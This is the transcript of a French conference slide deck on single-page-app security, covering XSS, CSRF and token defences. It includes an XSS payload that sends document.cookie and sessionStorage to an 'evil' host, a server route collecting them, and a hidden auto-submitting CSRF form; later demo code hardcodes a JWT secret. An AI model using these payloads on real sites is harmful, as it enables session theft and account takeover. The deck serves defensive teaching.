Upgrade to Pro
— share decks privately, control downloads, hide ads and more …
Speaker Deck
Sign up for free
Menu
Search
Features
All features
Private URLs
Password Protection
Custom URLS
Scheduled publishing
Remove Branding
Restrict embedding
Deck Collections
Notes
Features
All features
Private URLs
Password Protection
Custom URLS
Scheduled publishing
Remove Branding
Restrict embedding
Deck Collections
Notes
Explore
Featured decks
Featured speakers
Programming
Technology
Storyboards
Explore
Featured decks
Featured speakers
Programming
Technology
Storyboards
Pricing
Search
Sign in
Sign up for free
Ma SPA n’est pas sécurisée
Search
Philippe CHARRIERE
October 17, 2014
Programming
570
0
Share
Embed
Copy iframe code
Copy JS code
Copy link
Start on current slide
Ma SPA n’est pas sécurisée
pour BDX.IO
Philippe CHARRIERE
October 17, 2014
Transcript
56 slides
Oh! purée! Ma SPA n’est pas sécurisée @k33g_org
Un peu d’histoire
1995 + 10 Création de Javascript 1997 <iframe> IE 3
(4?) 1996 Netscape Navigator 2 avec le support JS 1998 Rhino Engine - Java 1999 ActiveX XMLHTTP IE5 1998 Mozilla Foundation
1995 + 10 Création de Javascript 1997 <iframe> IE 3
(4?) 1996 Netscape Navigator 2 avec le support JS 1998 Rhino Engine - Java 1999 ActiveX XMLHTTP IE5 1998 Mozilla Foundation
1995 + 10 Création de Javascript 1997 <iframe> IE 3
(4?) 1996 Netscape Navigator 2 avec le support JS 1998 Rhino Engine - Java 1999 ActiveX XMLHTTP IE5 1998 Mozilla Foundation
2000 XMLHttpRequest > Gecko 2004 GMail 2004-2005 XMLHttpRequest = Standard
“de fait” 2005 Google Map 2009 Node.js 2008 Google V8 engine
Et pendant ce temps …
Architecture Web Traditionnelle Navigateur Serveur App° Base de données DOM
+ JS View Controller Model SGBDR
2000 XMLHttpRequest > Gecko 2004 GMail 2004-2005 XMLHttpRequest = Standard
“de fait” 2005 Google Map 2009 Node.js 2008 Google V8 engine
2000 XMLHttpRequest > Gecko 2004 GMail 2004-2005 XMLHttpRequest = Standard
“de fait” 2005 Google Map 2009 Node.js 2008 Google V8 engine
Avril 2010 - Steve Jobs “tue” Flash
>> Pléthore de frameworks (javascript) MV*
Architecture (JS) Web Moderne “Serveur d’API” Navigateur Base de données
DOM + JS View Controller Model SGBDR, NoSQL REST APIs
Navigateur DOM + JS Serveur App° View Controller Model Navigateur
DOM + JS View Controller Model “Serveur d’API” REST APIs Avant HTML JSON Après
Votre navigateur est devenu intelligent
… Plus de failles de sécurité
XSS attacks
Injection de code malicieux dans votre application
<script id="tpl" type="tpl"> <% _.each(humans, function(human) { %> <li><%= human.firstName
%> <%= human.lastName %></li> <% }); %> </script>
var HumansView = Backbone.View.extend({ el:"ul", initialize: function() { this.listenTo(this.collection,'all',this.render); },
tpl:_.template($("#tpl").html()), render: function() { this.$el.html(this.tpl({humans:this.collection.toJSON()})); return this; } }); var humans = new Humans(); humansView = new HumansView({collection:humans}); setInterval(function () { humans.fetch(); }, 500);
Méchant hacker: côté serveur app.get("/hacked", function(req, res) { var data
= {cookie:req.param("a"), session:req.param("b")}; db.insert(data, function (err, newDoc) { res.statusCode = 200; console.log(data) res.send({message:";)"}); }); });
<script> var i = new Image(); i.src = "http://evil:3500/hacked/?a=" +
document.cookie + "&b=" + JSON.stringify(sessionStorage); </script> Affiche moi une image ;)
None
{"cookie":"mp_01eb2b950ae09a5fdb15a98dcc5ff20e_mixpa nel={\"distinct_id\": \"146038c6d8a44e-02e41af25-1f114552- fa000-146038c6d8d20b\",\"$initial_referrer\": \"$direct\",\"$initial_referring_domain\": \"$direct \"}; __atuvc=1|27; _ga=GA1.1.683483437.1400928194","session":"{\"userNa me\":\"k33g\",\"userSessionId\":
\"02941660-4b94-11e4-8ef2-8dc92b3e8e97\"} ","_id":"z67TEmfxLjSL84UH"}
Mais il est aussi possible de compromettre le fonctionnement de
l’application
Solution?
To sanitize (assainir)
< ➙ < > ➙ > & ➙ & "
➙ " ' ➙ '
<script id="tpl" type="tpl"> <% _.each(humans, function(human) { %> <li><%- human.firstName
%> <%- human.lastName %></li> <% }); %> </script>
Ça ne sert à rien de le faire au moment
du $post
XSS safe
> Faites le aussi côté serveur
XSRF attacks Cross-site request forgery
Votre application web est trop confiante!
Imaginez 1 site où l’admin peut ajouter des modérateurs …
qui eux- mêmes ont peuvent faire des choses
app.post("/admin/moderators/add/", function(req, res) { if (req.session.applicationUser) { if(req.session.applicationUser.authenticated && req.session.applicationUser.canAddModerator)
{ moderators.push(req.body.username); } else { res.json(401) } } else { res.json(403) } });
<!DOCTYPE html> <html> <head> <title>Hacked</title> </head> <body> <p>Hello! You've been
hacked :)))</p> <script> var form = document.createElement('form'); var input = document.createElement('input'); form.style.display = 'none'; form.setAttribute('method', 'POST'); form.setAttribute('action', 'http://votreapp/admin/moderators/add/'); input.name = 'username'; input.value = 'attacker'; form.appendChild(input); document.getElementsByTagName('body')[0].appendChild(form); form.submit(); </script> </body> http://www.k33g.org/ipad.html
None
None
Vous avez un nouveau modérateur … inconnu!
Solution(s)?
XSRF tokens
XSRF token: aléatoire, “imprévisible” inclus dans les requêtes associé à
une unique session
1. l’utilisateur s’authentifie 2. génération d’un token unique (côté serveur)
3. associé à la session utilisateur 4. embarqué dans la réponse http 5. “inscrit” dans la page 6. transmis à chaque requête pour vérification
app.post("/admin/moderators/add/", function(req, res) { if (req.session.applicationUser) { if(req.session.applicationUser.authenticated && req.session.applicationUser.canAddModerator)
{ moderators.push(req.body.username); //… app.post("/admin/moderators/add/", function(req, res) { if (req.session.applicationUser) { if(req.session.applicationUser.authenticated && req.session.applicationUser.canAddModerator && req.session.applicationUser.token==req.body.token) { req.session.applicationUser.token = uuid.v1(); 0-AVANT 1-Maintenant au login Génération d’un token côté serveur … $.post("/login", {name:"bob",pwd:"***"}) .done(function(data) { $("#token").val(data.token) }); 2-Récupération du token côté page <form action="/admin/moderators/add/" method="POST"> <input type="text" name="username"> <input id="token" type="text" name="token"> <input type="submit" value="Add"> </form> 3-Envoyer le token quand on “POST” 4-vérifier le token (côté serveur) … associé à la session utilisateur
Json Web Tokens
Même principe que les XSRF tokens, mais sans session
app.post("/login", function(req, res) { var user = req.body; if (!(user.name=="bob"
&& user.pwd=="bob")) { res.send(401,"go away!"); return; } var applicationUser = { name: user.name, authenticated: true, canAddModerator: true } // on envoie les informations à l'intérieur du token var token = jwt.sign( applicationUser, "secret", { expiresInMinutes: 60*5 }); res.send({ token: token }); }); utilisation de jsonwebtoken https://www.npmjs.org/package/jsonwebtoken Génération d’un token côté serveur …
Côté client $.post("/login", {name:"bob",pwd:"***"}) .done(function(data) { window.localStorage.setItem('token', data.token) }); app.get('/api/try',function(req,
res){ var decoded = jwt.decode(req.headers.token, "secret"); if(decoded) { res.json({message:"yesss!"}) } else { res.send(401,"go away!"); return; } }); Vérifier le token côté serveur …
None
None
ça fonctionne très bien avec CORS (Cross-origin resource sharing)
Sur de vieux navigateurs, cela va être plus difficile
Donc XSS attacks XSRF attacks mais aussi JSON hijacking Usurpation
d’identité …
Moralité réfléchissez bien à vos implémentations faites le dès le
début essayez de hacker votre app ne focalisez pas uniquement sur le js
Merci https://github.com/k33g/ma-spa-nest-pas-securisee
More Decks by Philippe CHARRIERE
See All by Philippe CHARRIERE
The Plan v3 pour BDX.io
k33g
1
210
Le Plan
k33g
0
220
Prog Fonctionnelle 🐑
k33g
1
410
Apéro fonctionnel
k33g
0
140
Scala Facile
k33g
0
300
Golo, the Tiny Language that gives super powers
k33g
0
160
Golo, the Tiny Language that gives super powers
k33g
0
320
Apéro Fonctionnel
k33g
0
290
Programmation fonctionnelle 🐑 en JS
k33g
2
300
Other Decks in Programming
See All in Programming
眠らない開発チームの作り方
biwakonbu
0
120
Math.sumPreciseから学ぶ、ECMAScript仕様の数値の種類
syumai
0
200
SONY CISC-NEWS NWS-1750 + NWB-225 ハードウェアメンテとフレームバッファカラー対応 / KOF2026
tsutsui
0
140
Rails初心者がパスキーを実装してみて大変だったこと
ktombow
0
240
将来の標準フォーマッター?ktfmtを深堀る
t45k
0
250
AWS CDKを理解するために公式の定義を深掘って解説してみる / Understanding AWS CDK by Digging into Its Official Definition
akihisaikeda
3
340
はじめてのKubernetesコントリビューション
nasa9084
0
320
JavaScriptはシングルバイナリの夢を見るか / Does JavaScript Dream of a Single Binary?
ssssota
0
240
baseline으로 마이그레이션, 리팩토링 안전하게 맡기기
fornewid
1
1.1k
AIコーディング時代のKotest ユニットテストから APIレベルの仕様固定化テストへ
ooga04
0
340
Kotlin Fest 2026: Kotlin コンパイラに Contribute してみよう! - Kotlin/Wasm で深い再帰を書けるようにした話
ternbusty
1
420
Skills Are the New npm [AAIF Bengaluru, Nov 2026]
shivamsaraswat
0
130
Featured
See All Featured
Optimising Largest Contentful Paint
csswizardry
37
4k
The Organizational Zoo: Understanding Human Behavior Agility Through Metaphoric Constructive Conversations (based on the works of Arthur Shelley, Ph.D)
kimpetersen
PRO
0
550
世界の人気アプリ100個を分析して見えたペイウォール設計の心得
akihiro_kokubo
PRO
73
43k
Jamie Indigo - Trashchat’s Guide to Black Boxes: Technical SEO Tactics for LLMs
techseoconnect
PRO
0
760
A Guide to Academic Writing Using Generative AI - A Workshop
ks91
PRO
1
580
SEO Brein meetup: CTRL+C is not how to scale international SEO
lindahogenes
2
3k
The innovator’s Mindset - Leading Through an Era of Exponential Change - McGill University 2025
jdejongh
PRO
1
400
No one is an island. Learnings from fostering a developers community.
thoeni
21
3.9k
Primal Persuasion: How to Engage the Brain for Learning That Lasts
tmiket
0
520
BBQ
matthewcrist
90
10k
Building Flexible Design Systems
yeseniaperezcruz
330
41k
[SF Ruby Conf 2025] Rails X
palkan
3
1.6k